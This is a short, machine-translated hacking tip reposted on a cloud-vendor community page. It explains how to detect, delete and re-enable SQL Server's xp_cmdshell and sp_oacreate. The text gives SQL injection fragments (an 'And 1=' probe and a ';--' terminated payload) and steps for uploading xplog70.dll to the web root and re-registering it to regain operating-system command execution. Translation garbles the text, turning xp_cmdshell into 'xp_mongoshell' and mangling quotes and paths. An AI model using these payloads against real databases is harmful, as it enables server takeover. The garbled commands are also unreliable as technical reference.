Delete and restore xp_mongoshell

Source: Internet
Author: User

This is frequently used.

Source: Lao Cai's home

1. Delete and restore xp_cmdshell
1. Determine whether xp_cmdshell exists
And 1 = (SELECT count (*) FROM master. dbo. sysobjects WHERE xtype = x and name = xp_mongoshell)

Select count (*) from master. dbo. sysobjects where xtype = x and
If the returned result is 1, OK is returned.

2. Restore xp_mongoshell
Delete the xp_mongoshell statement in the extended stored procedure
Exec sp_dropextendedproc xp_cmdshell

Restore shell SQL statements
Exec sp_addextendedproc xp_cmdshell, @ dllname = xplog70.dll

Exec master. dbo. addextendedproc xp_mongoshell, xplog70.dll; select count (*) from master. dbo. sysobjects where xtype = x and
If the returned result is 1, OK is returned.

Otherwise, upload c: inetputwebxplog70.dll
Exec master. dbo. sp_addextendedproc xp_mongoshell, 'c: inetputwebxplog70.dll ';--

Use the following methods to delete
Drop procedure sp_addextendedproc
Drop procedure sp_oacreate
Exec sp_dropextendedproc xp_cmdshell

You can use the following statement to restore
Dbcc addextendedproc ("sp_oacreate", "odsole70.dll ")
Dbcc addextendedproc ("xp_mongoshell", "xplog70.dll ")
In this way, the data can be directly restored without worrying about the existence of sp_addextendedproc.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.